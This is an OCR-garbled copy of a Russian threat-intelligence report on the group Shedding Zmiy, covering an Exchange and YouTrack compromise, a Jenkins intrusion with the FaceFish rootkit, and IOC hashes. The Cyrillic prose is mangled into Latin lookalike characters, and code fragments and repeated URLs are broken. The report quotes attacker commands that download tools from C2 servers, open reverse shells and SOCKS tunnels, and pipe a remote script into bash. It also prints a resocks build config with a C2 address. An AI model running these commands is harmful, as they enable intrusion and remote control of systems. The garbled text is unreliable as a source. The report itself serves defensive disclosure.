e 1CNOsb30BaHWe AMpeKTopui AnAa pasmellenuna BO, B HasBaHWM KOTOPbIX NpUcyTCTBYeT Intel.

Keic 6. HoBaA aTaka yepes nogpAaayYMKa

B KoHue aekabps 2023 roga xeptoi Shedding Zmiy ctan IT-noapaayYmK (TOT camblit, Ybto
MHPPACTPYKTYPY Mbl HE CMOINK UCCneaoBaTh B Kelce 2 (Ataxka Ha aosepue)). HanoMHUM, 4TO OT UMEHM


https://github.com/WinRb/winrm-fs/blob/master/lib/winrm-fs/core/file_transporter.rb
https://github.com/WinRb/winrm-fs/blob/master/lib/winrm-fs/core/file_transporter.rb
https://github.com/WinRb/winrm-fs/blob/master/lib/winrm-fs/core/file_transporter.rb
https://undefined/solar-4rays/blog/3954/
https://undefined/solar-4rays/blog/3954/
https://undefined/solar-4rays/blog/3954/
moz-extension://69782f9f-0ccd-4e40-bb0a-a9c67f93b483/data/reader/index.html?id=145&url=https%3A%2F%2Frt-solar.ru%2Fsolar-4rays%2Fblog%2F4333%2F#3
moz-extension://69782f9f-0ccd-4e40-bb0a-a9c67f93b483/data/reader/index.html?id=145&url=https%3A%2F%2Frt-solar.ru%2Fsolar-4rays%2Fblog%2F4333%2F#3
moz-extension://69782f9f-0ccd-4e40-bb0a-a9c67f93b483/data/reader/index.html?id=145&url=https%3A%2F%2Frt-solar.ru%2Fsolar-4rays%2Fblog%2F4333%2F#3

COTPYyAHMKa 3ToN UT-kOMNaHuM paccbinanvcb GULLMHIOBbLIE NUCbMA KMeHTaM. Kak BbIICHWNOCH NO3Xe,
aTa yuyéTHan 3anuch Oblna CKoMNpPoMeTUpoBaHa eLé 40 KoMnpoMeTaLnn HPPACTPYKTYPbl KOMMaHWMK.

Ha nepsoHavanbHom atane Shedding Zmiy npoakcnnyatuposanu yassumocTb Log4j (oHa xe
CVE-2021-44228, CVE-2021-45046 n CVE-2021-45105) B cucteme ynpasneHua npoektamu YouTrack ot
JetBrains. Yassumas Bepcua atoro 1O 6bina pasBépHyTa Ha 0AHOM M3 CEPBEPOB NOA YNpaBieHUEM
onepauunoHHon cuctembl Windows Server 2019. B pesynbraTe akcnnyarauuu aTakyrolme 3arpysunm Ha

cepsep 3arpy3uvk XDHijack, 0 koTopom Mbl roBopunu paHee, B Buae mfplat.dll u nerutumnyro
YyTUIUTY ANA ero 3anycka ¢ ucnonb3osaHnem TexHuku dll-sideloading.

Uma Ppaina Jlata co3gaHuA

C:\YouTrack\internal\java\windows-amd64\bin\MDEServer.exe 21.12.2023 12:42:34

C:\YouTrack\internal\java\windows-amd64\bin\mfplat.dll 21.12.2023 12:44:44

B »xypHanax Beb-cepBepa Mbl HaLLNKU aapec, ¢ KOTOPOro BbIMOMHAIUCL BPEAOHOCHbBIE 3anNpOChl —
88.218.60[.]89. OH npuHaanexuT xocTuHr-nposanaepy VDSina. Mbl y)xe BCTpeyanu paHee
MCMNonb30BaHME MMEHHO 3TOr0 XOCTMHI NpoBanaepa aAnAa pasmellexHuma C2.

Arakyrome 3anonyymnu Kerberos-TMKeT 0AHOW U3 YYETHbIX 3an1cen U 3atemM Mcnonb3osanu eé anq
BbINOSTHEHWA 3anpPOCOB CO CKOMMNPOMETUpoBaHHOMU cuctembl YouTrack Ha cepsepe Microsoft Exchange,
HUXE NPUMEpP OAHOro U3 TaKUx 3anpoCcoB:

192.168.50.26 Python+PSRP+Client - 200 0 0 33

2023-12-21 13:40:53 192.168.50.50 POST /powershell &CorrelationID=
;&cafeReqld=61d51599-5033-4754-8cla-f9539acel58b; 80 [redacted]\[redacted]
192.168.50.26 Python+PSRP+Client - 200 0 0 97

Mo User-agent Mbl Npeanonoxunu, 4to ataxkyrowme ncnonssosanu Python knvenT ana PowerShell
remote Protocol. BepoAaTHO, cnonbsoBanca MHCTPYMEHT PypPsrp, OAHAKO CNesoB Ha CUCTEME Mbl HE
0BHapyXWUnu.

B norax Microsoft Exchange Mbl Takxke yBuaenu, 4to cnycta nonyaca nocrie OnMcaHHoOM BbiLLe
aKTMBHOCTM, HaYanucb obpalleHna K NerMTUMHbLIM pecypcam Beb-cepBepa ¢ IP-aapeca atakyroumx,
KOTOPbIN TaKkke, KaKk 1 npeAblAyLWwmni, NpuHaanexuT nyny aapecos xoctuHra VDSina. BoT Kak oHK
BbIrNAAENMU:

2023-12-21 14:19:55 192.168.50.50 GET /owa/auth/OutlookCN.aspx 443 -
91.142.73[.1205 Mozilla/5.0+(Windows+NT+10.0;+Win64;+x64;+rv:103.0)+Gecko/
20100101+Firefox/103.0

2023-12-21 14:19:59 192.168.50.50 POST /owa/auth/OutlookCN.aspx 443 -
91.142.73[.]1205 Mozilla/5.0+(Windows+NT+10.0;+Win64;+x64;+rv:103.0)+Gecko/
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20100101+Firefox/103.0

2023-12-21 14:20:11 192.168.50.50 POST /owa/auth/OutlookCN.aspx 443 -
91.142.73[.]1205 Mozilla/5.0+(Windows+NT+10.0;+Win64;+x64;+rv:103.0)+Gecko/
20100101+Firefox/103.0

2023-12-21 14:20:18 192.168.50.50 GET /owa/auth/OutlookCN.aspx 443 -
91.142.73[.]1205 Mozilla/5.0+(Windows+NT+10.0;+Win64;+x64;+rv:103.0)+Gecko/
20100101+Firefox/103.0

2023-12-21 14:20:30 192.168.50.50 POST /owa/auth/OutlookCN.aspx 443 -
91.142.73[.]1205 Mozilla/5.0+(Windows+NT+10.0;+Win64;+x64;+rv:103.0)+Gecko/
20100101+Firefox/103.0

2023-12-21 14:20:44 192.168.50.50 POST /owa/auth/OutlookCN.aspx 443 -
91.142.73[.1205 Mozilla/5.0+(Windows+NT+10.0;+Win64;+x64;+rv:103.0)+Gecko/
20100101+Firefox/103.0

2023-12-21 14:20:53 192.168.50.50 POST /owa/auth/OutlookCN.aspx 443 -
91.142.73[.]1205 Mozilla/5.0+(Windows+NT+10.0;+Win64;+x64;+rv:103.0)+Gecko/
20100101+Firefox/103.0

2023-12-21 14:21:32 192.168.50.50 POST /owa/auth/OutlookCN.aspx 443 -
91.142.73[.]1205 Mozilla/5.0+(Windows+NT+10.0;+Win64;+x64;+rv:103.0)+Gecko/
20100101+Firefox/103.0

2023-12-26 15:54:49 192.168.50.50 GET /ecp/auth/TimeoutLogout.aspx 443 -
91.142.73[.]1205 Mozilla/5.0+(Windows+NT+10.0;+Win64;+x64;+rv:103.0)+Gecko/
20100101+Firefox/103.0

2023-12-26 15:54:54 192.168.50.50 POST /ecp/auth/TimeoutLogout.aspx 443 -
91.142.73[.]1205 Mozilla/5.0+(Windows+NT+10.0;+Win64;+x64;+rv:103.0)+Gecko/
20100101+Firefox/103.0

2023-12-26 15:54:55 192.168.50.50 POST /ecp/auth/TimeoutLogout.aspx 443 -
91.142.73[.]1205 Mozilla/5.0+(Windows+NT+10.0;+Win64;+x64;+rv:103.0)+Gecko/
20100101+Firefox/103.0

2023-12-26 15:58:29 192.168.50.50 POST /ecp/auth/TimeoutLogout.aspx 443 -
91.142.73[.1205 Mozilla/5.0+(Windows+NT+10.0;+Win64;+x64;+rv:103.0)+Gecko/
20100101+Firefox/103.0

OtH 3anpocChbl He BbIMAAAT BPeAOHOCHbIMU U AENCTBUTENBbHO BbINOMHEHbI K TEMMTUMHBLIM pecypcam, HO

Hac cMyTuN Kak IP-aapec UCTOYHMKA, TaK U TOT @aKT, 4To Mbl 06Hapyxunu Ha cucteme BMO XDHijack C:
\Program Files\Microsoft\Exchange Server\V15\Bin\dismperf.dl1l, ¢pain kotoporo 6bin

co3aaH Ha $ainnoBor cMCTEME, KaK pas Koraa Aenanucb Nnoao3puTenbHble 3anpockl. Apxusa cfg.zip ¢

NosIe3HOM HarpysKon Ha pannoBor cMcTeMEe K MOMEHTY UCCieoBaHNUA yxe He Obino. OaHako, crneasl
€ro NPUCyTCTBUA Ha XOCTE B HEKOTOPbLIX apTedakTax Mbl HaLLK.



CnycTA HECKOMbKO AHEN UCCNEeaoBaHWI KOHTEKCTA 3TUX 3anNpPOCOB, HaM YAANIoCk NOHATb, YTO 3TO ObINO:
aTakyoLme NPo3KCNyaTMpoBanu yasBuMOCTb Aeceprann3anym HeHaaexXHblX JaHHbIX B napameTtpe
VIEWSTATE B IIS-cepBepe Exchange. Mbl HeaaBHo nvcanv 06 MCnonb3oBaHWMKM 3TOr0 MeToAa a3MaTCKow
rpynnuposkon Obstinate Mogwai. Shedding Zmiy yA3BMMOCTb TOXEe UCMOMNb3YHOT, HO TEXHUYECKU UHaYE U
“CNoNb3yT ANA 3Toro cBov pperimBopk Ha python — BADSTATE. MNoapo6HocT Aecepuanusanymm m
dYHKUMOHAN GpernMBOpPKa Mbl OnuULLIEM NOAPOOHEE B OTAENLHON NyONMKaLuK, HO YXXe cernyac XoTenu Obl
OTMETUTb, YTO PPEVMBOPK HAXOAMTCA B aKTUBHOM paspabdoTke, TaK Kak B yHUKaribHOM BebLuenne
(OCHOBHOW 3neMeHT GpenMBOpPKA) MMEIOTCA Hepeann3oBaHHbIE KOMaHAbl U MHOMO PYHKLMK, KOTOPbIE He
ucnonbaytotca. Hanpumep, o4Ha M3 Hemcnonb3yemMblx GYHKL M, KoTopas AoMmkHa Obina
pacwndpoBbiBaTh BXOAHbBIE AHHBIE U B KOTOPOM MMEKOTCA XECTKO 3akoanpoBaHHble AES-kntou u IV
(Initialization Vector):

e[] bytes = E

e[] bytes2 =

ce[] array;
(Aes aes

aes. = bytes;
aes. = bytes2;
= PaddingMode. :

cryptoTransform
/Stream memoryStream

z (CryptoStream cryptoStream = new CryptoStream(memoryStream, cryptoTransform,
CryptoStreamMode. ))

cryptoStream.Write(A_0, 16, A O. - 16);
array = memoryStream.ToArray();

Hewncnonbsyeman ¢yHKUMA Ana pacluM@PpoBKK AaHHbIX B BeOLienne

BosmoxHO, ykasaHHble Koy 1 IV ucnonb3oBanuck npu tectuposaHun dpenmsopka BADSTATE, Ho
TaKKe UMeeTCA HeHyneBanA BEPOATHOCTb, YTO Shedding Zmiy MOryT npUMeHUTb UX rae-To eLlé.
BosBpallaemca K onucaHuio kewnca.

ATaKytoLLMe CKOMMPOMETUPOBAN BCErO HECKOIBKO XOCTOB, MOATOMY PacCKaXkeM 00 YBUAEHHOM KpaTKo.

JNA ropM3oHTanbHOro NepemMeLLeHnA NCNob30BasIMCh ABE NPUBUIENMPOBaHHbIE YYETHbIE 3aMucCH,
BEPOATHO, MpeABapuUTeNbHO NoNyYeHHble aTakyrolwumm Ha cepaepe Microsoft Exchange.

[MouTH Ha BCex CKOMNPOMETUPOBAHHbLIX CUCTEMAX Mbl HALLNK cneabl 3arpy3unka XDHijack, koTopbln
3anyckanca ¢ npumeHeHuem TexHuku dll-sideloading. Ha koHTponnepe AomeHa B ABYX 3K3emMnnAapax
3anycKasnca nepenMMeHOBaHHbIM NIErMTUMHBIA UCNOMHAEMbIR dann dism.exe. 3anyck 1 3akpenneHue B
cucTeMe NPOU3BOANINCE NYTEM U3MEHEHMA UMEBLLMXCA B CUCTEME NErMTUMHBIX 3a4ay N/1aHMPOBLLMKA
DhcpServerFailoverReplic u Password Expire.

Takke Ha KOHTposnnepe AoMeHa 6bin pasmelléH ¢ain C:\ProgramData\Acronis\acronis.exe,
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KOTOpbLIV Ha camMoM Aene npeacTaBnan cobon yxe paHee U3BECTHbIM HaM MHCTPYMEHT resocks ¢
KOMaHAHbIM aapecom 88.218.62[.]79 — 1 cHoBa XOpoLUO 3HAKOMbIW Ham XocTuHr VDSina.
MNpumeyaTensHo, Y4TO B 3TO Xe BPeMA B cUCTeMe Habnoaanocb CKaHMpoBaHWe AomeHa IT-komnaHuu,
aTaky Ha KOTOPYH Mbl ONUCBLIBANu B Kelce 2 (Ataxka Ha J0Bepue), XOTA C MOMEHTa TOro MHUMAEHTa
npoLuno yxe 5 mecaues. [peanonaraem, 4to rpynnMpoBKa NpoKkcuposasna Tpaduk Yepes cepsep
TEeKyLLen XepTBbl, YTOObI Bbi3BaTb MEHbLLE NOAO3PEHUI HA CTOPOHE IT-KOMNaHuu, HPPACTPYKTYpPY
KOTOPOMW OHW CKaHWpPOBasM.

Hwxe npeacTaBneH nsBneyYeHHbIn KOHPUr resocks ¢ NpumMeyaTesnbHbIM NapamMmeTpoMm
defaultConnectionKey, KOTOpbl MAEHTUYEH TOMY, YTO Mbl y)Xe BUAENHU Y resocks B Kelice 4 (AtakyeT
Benvkmin MRX), X0TA 06bIYHO 3TOT K04 GOPMUPYETCA CryyarHbiM 06pasom:

-buildmode=exe

build -compiler=gc

build -ldflags="-X main.defaultConnectBackAddress=88.218.62.79 -X
main.defaultConnectionKey=MHmfjMsydIPAIsX5AMrF1xcHZgKZpMZkZ20iX3zEBXQ -
H=windowsgui -s -w"

build DefaultGODEBUG=panicnil=1

build CGO ENABLED=0

build GOARCH=amd64

build GO0S=windows

build GOAMD64=v1

build vcs=git

build vcs.revision=984d875ab0ab971842ab0f42846deeb467ed3e04

build vcs.time=2023-09-19T10:43:05Z

build vcs.modified=true

Ha ¢uHanbHOM aTane atakytowue Ha cepBepe Exchange ¢ nomolbo BebLienna B naMaTh Bbirpyxasnu
pasnuyHble AaHHbIe MOYTOBOro cepaeepa.

B atom paccnenoBaHuu Mbl Takke NOAMETUM UCNOMb30BAHUE aTaKyHLLMMU, KaK U B Kerce 5
(BosepateHune Coblint), ana pasmewexHuna BINO nyTten, B UMEHU KOTOPbLIX NPUCYTCTBYET Ha3BaHue
nonynapHoro BeHaopa HP, Hanpumep:

e C:\Programbata\HP\Installer\HPInstaller.exe
e C:\Programbata\HP\Installer\mfplat.dll

Keuc 7. BosBpawieHue FaceFish

B atom Kevice B koHUe deBpana 2024 roaa 6biniM atakoBaHbl UCKITFOYMTENIBHO CUCTEMBI MOA
ynpaeneHnem OC cemeicTBa Linux opraHmsauunu (ataky Ha Apyryro 4acTb MHOPACTPYKTYpPbl 3TOM
opraHusaumu Mbl yxe pacckasbiBanu B kevice 5 (Bosspaluernue Coblnt).

lNpoHMKHOBEHME Ha OAIMH U3 CepBEPOB OpraHM3aunu npousoLno B despane 2024 roga nyTém
akcnnyatauuu yassumoctn CVE-2024-23897 B dpperimdopke ana HenpepbiBHOM paspabdoTtku Jenkins,
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yA3BMMan BepcHA KOToporo Bbina paseBepHyTa Ha aTakoBaHHOM CUCTEME.

Mpn aTOoM aHanM3 cMCTEMbI MOKasan, YTo 3TO NOBTOPHOE Bo3BpaLleHne Shedding Zmiy, Tak Kak Ham
yaanocb 06HapyXuTb crieabl paHHero 3anycka pesepc-Lienna revsocks /etc/socks/
188.127.242.204:443/temp/revsocks ¢ agpecom anda noakntouerna 188.127.242[.]1204 un
nocneayoLwui 3anyck yepes ytunuty /usr/bin/nohup, o uém ceuaetenscreyet ¢pann /etc/socks/

188.127.242.204:443/temp/nohup.out, coagepxalwimin BbIBOA YTUNUTLI revSOCKS, AaTMPOBaHHbIN
ceHTAGpem 2023 roaa.

AHanManpysa CBEXYH aKTUBHOCTb, B UCTOPUKU KOMaHAHOM 060M04KkM bash Mbl Hawnu crneael
NOAKIOYEHNUI K paHee n3BeCcTHbIM C2-aapecam U 3arpysku HeoOX0AMMOro MHCTPYMEHTapHA:

ssh -fN -R 5.45.85[.]176:20023:localhost:22 min@5.45.85.176 -p 443
ssh operator@l78.250.245[.]13 -p 443

wget 80.66.64[.]181/kit

wget 80.66.64[.]81/wrap

wget 80.66.64[.]181/4034

wget 80.66.64[.]81/rev

./rev -c 80.66.64[.181:1337 &

wget http://chifa.rpm-bin[.]link/kit

./=r 80.66.64[.]81:443

wget https://github.com/kost/revsocks.git

curl -v 188.127.242[.]204:81

curl -v 188.127.242[.]204:443

wget -r -np 188.127.242[.]204:443/temp

./revsocks linux amd64 -connect 188.127.242[.]204:8443 -pass [redacted] mv
revsocks linux _amd64 revsocks

3arpy)xeHHbl B pesynbTaTte BblNonHeHnsa komaHabl wget 80.66.64[ . 181/wrap ¢ann /usr/local/
bin/id, npeanonoxuTensHO, UCNOMb30BaNCA ANA NOAHATUA NPUBUIErMI A0 YY4ETHOM 3anucu root B
cucteme. ®ann nelTaeTcA 3anyCcTUTb OT YYETHOW 3anucu root ¢pann u3 aprymeHToB. Ecnu atoro caenarb
He yaaéTca, To NPOCTO 3anycKaeT ero.

B cucTemHbIX XypHanax Mbl 06HapyXunu koMaHabl, xapaktepHsle ana BINO SSH-Snake, sanyckaemoro
n3 ampektopumn /tmp/.X11-unix. 3akoanpoBaHHaa B base64 Harpyska coaepxana aapec, C KOToporo
3arpyxancea BpeoHocHbIn dann get.upd-rkn[.]net:8080/n1/x1lswifi, koTopana B cBOK ouyepeab
ycTaHaBnueana yTunuty gsocket no nytu /usr/bin/gs-dbus.

Ytunuty gsocket Mbl 06HapPYXWnK ewé Ha 04HOW 3aTPOHYTOM MHLMAEHTOM CUCTEME, HO CXeMa 3arpysKu
HECKOJIbKO OTNn4yanacsh:

curl https://www.metcom[.]ru/bitrix/components/bitrix/advertising.banner/
templates/

parallax/lang/ru/deploy-all.sh -o deploy-all.sh

bash ./deploy.sh


https://github.com/MegaManSec/SSH-Snake
https://github.com/MegaManSec/SSH-Snake
https://github.com/MegaManSec/SSH-Snake

cp /dev/shm/.gs-0/gs-netcat /usr/bin/gs-dbus

MNpumeuatenbHO, YTO CKPUNT ANA 3arpyskn yTunutebl gsocket Shedding Zmiy nonyyanu ¢ NerMTMMHOMO
pecypca, CKOMNPOMETUPOBAHHOIO rPYNNUPOBKON. Takke XOTUM OTMETUTb CXOXWUM NPUEM,
“Ccnonb3oBaHHbIM B Kelice 5 (Bosspalerne Coblint), Tam npu passopaunsanum Coblint, oanH 13
KOMMOHEHTOB TaKXe 3arpyxasnca C 1erMTUMHOro CKOMNPOMETUPOBAHHOIO pecypca.

HenocpeAcTBeHHO B iIeHb NPOHMKHOBEHKUA B cucTeMy Shedding Zmiy pa3mecTuin B Hel CaMOMUCHbIN
umnnaHT Ha Go, KoTopbli Mbl Haseanu Bulldog Backdoor. OH 6bin pasBepHyT no nyti /usr/bin/crond
n ucnono3osan pkg.collect.net[.]in B KauecTBe KOMaHAHOro cepBepa. Takke aTakyroLme co3ganu oHUT
ana systemd, utobel 06ecneunTs 3akpenneHne BINO B kauecTBe cepBuca, U Pa3MECTUIIN YXKE U3BECTHbIN
Ham pyTKUT FaceFish Bcé no Tomy xe nytn /usr/1ib64/1ibs. so, 3akpenus ero yepes /etc/
1d.so.preload. JononHuTtenbHo Bbin pasBepHyT peBepc-Luens revsocks no nytu /dev/shm/k.
Kpome Toro, Mbl 06Hapyxunu crneasl pacnpoctpaHeHHoro perl pesepc-wenna /tmp/bk. Bonee
noapobHoe onucaHue Bulldog Backdoor npuBeaem B otaenbHOM ny6nvKkauuu.

OTmMeTMM, YTO Ha 3TOM XOCTe rPyNMnMPOBKa C BbICOKOW A0Nen BEPOATHOCTM Noyyunna AoCTyn K y4€THbIM
AaHHbIM AeCATKa TEXHONOMMYECKUX YUETHBIX 3anucen, KOTopble XPaHUITUCb B KOHOUrypaLMOHHbIX
¢annax 3agad Jenkis B OTKPbITOM BUAE, & TAKXe MOITM pacindpoBaTtb YYETHbIE AaHHbIE U3
xpanunuua Jenkins.

Ina passeaku 3110yMbILLIEHHUKM MCNOSb30BAIU MONYNAPHBLIA MHCTPYMEHT nNmap, cnelbl KOTOPOro Mol
06HapYXMnn Ha 0AHOM U3 CUCTEM.

[opusoHTanbHOE nepemeLleHre No MHPPaCTPYKType opraHn3aLMmn BelMOMHAIOCh Yepes UCMOMNb30BaHUe
SSH-Snake, ckoMnNpoMeTUPOBaHHOM TEXHOMOrMYECKOW YYETHOM 3anucuy Jenkins, 1 HECKOMbKUX
NPUBUNErMPOBaHHbIX YYETHbIX 3aMUCEN, KOTOPbIE CO CMOB 3aKa3uuka, ObiTM CKOMMPOMETUPOBAaHbI eLLle
oceHbto 2023 roaa Bo BpemMA MHUKAEHTA, K KOTOPOMY Mbl HE MPUBIIEKASTUCH.

Tawke Mbl Ans ce6a OTMETUNU MHTEPECHLIN X0 rPYNMUPOBKK NO YCTAHOBKE B LIENAX BO3MOXHOCTH
BbINOSTHEHUA KOMaHJ Ha CUCTEME M COXPaHEHWA K Hel JocTyna BeO-Luens nnarnHa Ha cepeepe, Ha
KOTopoM Obif10 pasBépHyTo nonynapHoe MO ana otcnexvBaHus 3agad Jira. [ina 3Toro oHu
MOAKTHOYMITUCE K CUCTEME C YYETHBIMU AaHHLIMW NPUBUIIETMPOBAHHON YYETHOM 3anucK, KOTOPbIE, Kak Mbl
npeanonaraem, 6bin1 NONyYeHbl BO BpEMSA UX aKTUBHOCTU 0CceHbto 2023 roaa.

B noaTtBepxaeHne cBoero npeanonioXeHna Mbl 0OHAPYXMIK XXypHasbl COObITUI, B KOTOPbIX OT UMEHH
3TOW YYETHOM 3anncu B HOYHOE BpeMa GUKCUPOBAOCH BbIMOSIHEHWE MOUCKOBLIX 3anpoCoB Mo
KnoueBbIM crioBaM “lMaponb” u “CteHA”. Huxe npuBeaeHbl NpUMepPbl TakMX 3anpoCcoB.

10.15.204.55 1350x84206x1 [redacted username] [22/Nov/2023:22:30:49 0300]

"GET /pm/secure/AjaxIssueAction!default.jspa?
issueKey=[redacted]&decorator=none&prefetch=false&shouldUpdateCurrentProject=f«
HTTP/1.0" 200 11482 1255 "https://[redacted]/pm/browse/[redacted]?jql=text ~
"Maponb"" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101
Firefox/119.0" "9tuylo"

10.15.204.55 1351x84307x1 [redacted username] [22/Nov/2023:22:31:11 0300]


moz-extension://69782f9f-0ccd-4e40-bb0a-a9c67f93b483/data/reader/index.html?id=145&url=https%3A%2F%2Frt-solar.ru%2Fsolar-4rays%2Fblog%2F4333%2F#6
moz-extension://69782f9f-0ccd-4e40-bb0a-a9c67f93b483/data/reader/index.html?id=145&url=https%3A%2F%2Frt-solar.ru%2Fsolar-4rays%2Fblog%2F4333%2F#6
moz-extension://69782f9f-0ccd-4e40-bb0a-a9c67f93b483/data/reader/index.html?id=145&url=https%3A%2F%2Frt-solar.ru%2Fsolar-4rays%2Fblog%2F4333%2F#6
https://github.com/jingchunzhang/backdoor_rootkit/blob/%20master/rootkit_lrk5/script/bc.pl
https://github.com/jingchunzhang/backdoor_rootkit/blob/%20master/rootkit_lrk5/script/bc.pl
https://github.com/jingchunzhang/backdoor_rootkit/blob/%20master/rootkit_lrk5/script/bc.pl
https://github.com/dubfr33/atlassian-webshell-plugin
https://github.com/dubfr33/atlassian-webshell-plugin
https://github.com/dubfr33/atlassian-webshell-plugin

"GET /pm/secure/AjaxIssueAction!default.jspa?
issueKey=[redacted]&decorator=none&prefetch=false&shouldUpdateCurrentProject=f«
HTTP/1.0" 200 8913 505 "https://[redacted]/pm/browse/[redacted]?jgl=text ~
"CtreHg"" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101
Firefox/119.0" "9tuylo"

Ha Kaxaomn 13 3aTpoHyTbIX CUCTEM aTakyoLmMe NPOBOAMIIU NOKASTbHYIO pasBeaKy U CTPEMUITUCH
3anonyynTb ayTeHTUPUKALMOHHBIE AaHHble ANA AasibHenLwero nepemMelleHuna no SSH.

3aKnyeHue

3a TO NpOAOMKMTENBHOE BPEMA, YTO Mbl oTcnexusaem Shedding Zmiy, Mbl cpopmupoBanu
onpeAeneHHbIn UCTOPUYECKUI Npodansi BOSMOXHOCTEN rpynnbl.

1. CmeHa npoduna

3a Bpems Halmx HabrAEHUM Mbl HE CTOMKHYNTUCh HU C OAHWUM cryyaemM GpUHAHCOBOW MOTMBALMM NpU
npoBeAeHuK ataku. [pynnvpoBka nMbo BeicTaBnsala AaHHbIe Ny6nnYHO B MOMbITKAX co3aath
00LLEeCTBEHHbIN pe3oHaHC, MO0 B AanbHENLEM Ucnonb3oBana ux B cBoux Lenax. OaHako paHee
rpynnel Cobalt n ExCobalt B uhayctpuu ceAsbiBan B OCHOBHOM C GUHAHCOBO MOTUBUPOBAHHbLIMM
artakamu. 310 cBUAETENbCTBYET O CMEeHe NPodUNA rpynnUPOBKMU.

2. BbicoKuK ypoBeHb npodeccrMoHanusma

Mbl oyeHnBaem Shedding Zmiy Kak yrpo3y BbICOKOrO YPOBHA U BOT NOYeMy:

e Shedding Zmiy ycneLHo “cnonb3yeT LWMPOKKI HaBop yA3BUMOCTEN ANS NPOHUKHOBEHUS B
MHOPACTPYKTYPY XEPTBbI HA NEPBOHAYANIbHOM 3Tane;

e YneHbl rpynnuMpoBKY BRaaetoT HaBblIKaMu COLUanbHOW UHXEHEPUU U MPUMEHAIOT UX HE TOMbKO Ha
HayanbHOM 3Tane ataku npu GopMUPOBaHUU PULLMHIOBBLIX MUCEM, HO MPU ee AafbHENLLEM
pasBUTHMU;

e pynnupoBKa MCNOSb3YET LUMPOKUIA HABOP pasnMyHbIX MHCTPYMEHTOB, Kak NyOnnyHO AOCTYMHbIX U
KaCTOMM3UPOBaHHbIX B CBOMX LiefIfX, TaK U YHUKaNbHbIX, paspadoTaHHbIx camocToATenbHO. OHK
00611a4at0T BHYLUMTENBbHLIM QYHKLUOHANOM U, B OCHOBHOM, UCMOSTHAKOTCA TOMBKO B MAMATH, Y4TO
CYLLECTBEHHO CHMXAeT Ux 0OHapyXeHWe 1 3aTpyaHseT pearMpoBaHue Ha Takue UHLMAEHTDI.

e Shedding Zmiy oAMHaKOBO yCMeLHO atakyoT cuctembl noa ynpasneHnem kak OC Windows, Tak #
Linux.

e Shedding Zmiy cTtapatoTca UCMOMb30BaTb NOMYYEHHbIE B X0A€ OAHOM aTaku JaHHble And
npoBeAeHna cneayrowmnx (Takme npumepsl Mbl onucasnu), 0 YémM CBUAETENbCTBYHOT Cryyau
3rnoynotpebneHus 40BEPUTENbHLIMU OTHOLLEHUAMU MEXAY HEKOTOPLIMU UX LeNsaMMU.

3. UHPppacTpykTypa Ha TeppuTopun PP 1 3a ee npeaenamu

lpynnupoBka BnaaeeT 0OLIMPHON CeTbi0 KOMaHAHbBIX CEPBEPOB Ha TeppuTopun Poccun, apeHaya
PEecypcChl y pasnnyHbIX XOCTUHI-NPOBANAEPOB U HA 00MayYHbIX NnaTpopmax, CKopee BCero, B Lenax
obxoaa 6nokMpoBok No GeolP u ycnoxHeHus cBoero o6HapyXeH1s No TeppuTopUanbHOMY NPU3HAKY.



Mbl purKCHpyeM B atakax MCnosib3oBaHWe NEerMTUMHbIX CKOMMNPOMETUPOBAHHbLIX PECYPCOB ANA 3arpysku
KomnoHeHTOB BIMO Ha cuCTEMBI XePTB, UTO TaKke YCNOXHAET oOHapyxeHue. Kpome Toro, B HEKOTOPLIX
cnyyasax Mbl Habnaany Ucnonb3oBaHue rpynnuMpoBKor nonynapHbix VPN-cepBrUcoB. Takke, Mo HaLWKUM
AaHHbIM, Shedding Zmiy pacnonaraeT LWMPOKOW CeTb0 KOMaHAHbIX CEPBEPOB Ha 6ase pasnmnyHbIX
3apyBexHbIX XOCTUHI-NPOBaNAepoB U 06nayHbIX NNaTPopm.

I0Cs

File hashes
MD5

6e78c9b597e2b12cc349c72d44a61a36
b06ded77875fceld892522f16c099e29
29efd64dd3c7fele2b022b7ad73alba5
8109da0al09b05905e427b6e8eefbclc
02c08342728d58d5d392457ba41f06¢ch
6ef77ad40f5ef04d497527d1b0a0co4d
alecf5f5bc5d22e9e57¢3114c495b97c
3c93a4e4d52a07b57bf0b4095a3c9fbb
laaacc88008342ba5e9d63e87667c149
6972b5f2ea828a80bcab3aac2e82e325
16695c4db4b4a65861070849583b32ef
00b235923dd3663c63ac5695e6¢caf2dd
8dad434175203550b6c32893d2d3850c0
f550e08465936bf57ff4fc342852¢c91c
ebfaaebafb778b6bea238ade245d1ab6
e3d36ab862217315d46c49414c4efed3
9081b43f719355d4376c4f4d457c715¢
a959bd9c92e6274ee6f8a9613c78fd18
b4aa788elca35302f67d344b82eb6ed47
e73efa42ffad870094a963bfclcb3aaa
52c89092568e8df1db254e801914859a
2c46d1a9d18dfaa79265eb4482201246
806369a8169652e10fd0fb5f60beflel
28fd90deab4al21c0c31e24f526d1995
8e€9a22b02b861c4277c9a9f5e735b445
db07a0fbb9ffc1d282159752437260ac
6983f7001del0f4d19fc2d794c3eb534
66acab95bb71ef312ebd46a053edf5b8
el14a5f2039faa75866588d3c0635c183c
00a21f938b1e603c14f0e669850afdaf
ae271ec982c35683b7d5edefa83a7f35



e9f5865cceed38f3cc78eaf7922dc767
09c9f674d45ccf9066174cf3a911770a
8773ce3cle4000f6db4la7bf0dab25ad
1c2c01c22712e0ed3444b5aae5c5dfac
375a82ae45a8041fc02a648f19154501
3de34143d90ad3d74ae2c82d91f5ca4d2
4a40da404e486ac0e676e651a25e8389
831c2666191229075fc3660e144de50b
56665014a0e5b3d58b363e01e83b3f9of
6eaf7f630e11a9f78cbe31d2d22858df
ce2c6ad4dd0a79a9e89b2c3195eeeb727
5fc4eef37ec583caac5a71918984af53
f84e409b4ca80e349al19fa7555177379
0da63b385b2b6650dd6acf3b511e5ac8
d5dbce918c46e9f86a35be2893c9efh2
939cc38ef64a3e5148d889fa4423d464
d3bb9583db450daa24f50afcead74ddc
1f2eb8ca3b04ab9e722708976bd08c5c¢
cd76c9652a6146200039481375d24fe8
30049ea8ac7e3029f911cl1lddbcd92dc
1256d62b4d15ca785766c4bc4f0ebadl
5d91bf790426b93c112daa980fb2d4f8
c5b1576a9a983f6bf551dc6df989462e
137301b4f7c09d0Ob5b2a9261f7bdecOc
1742b52bb41a3456bf30570726a60059
63af958b05af414121fb7cc623a90671
69dbab30f46a8ac9ced46af4420cf54ca
9led4ee433cc834136b099a3cb738f809
3cf40a0458aae04e73e2a61lea82fbd19
7€8999958530170264937a84e8b3beff
887b166e87809c313ace45667665d32e
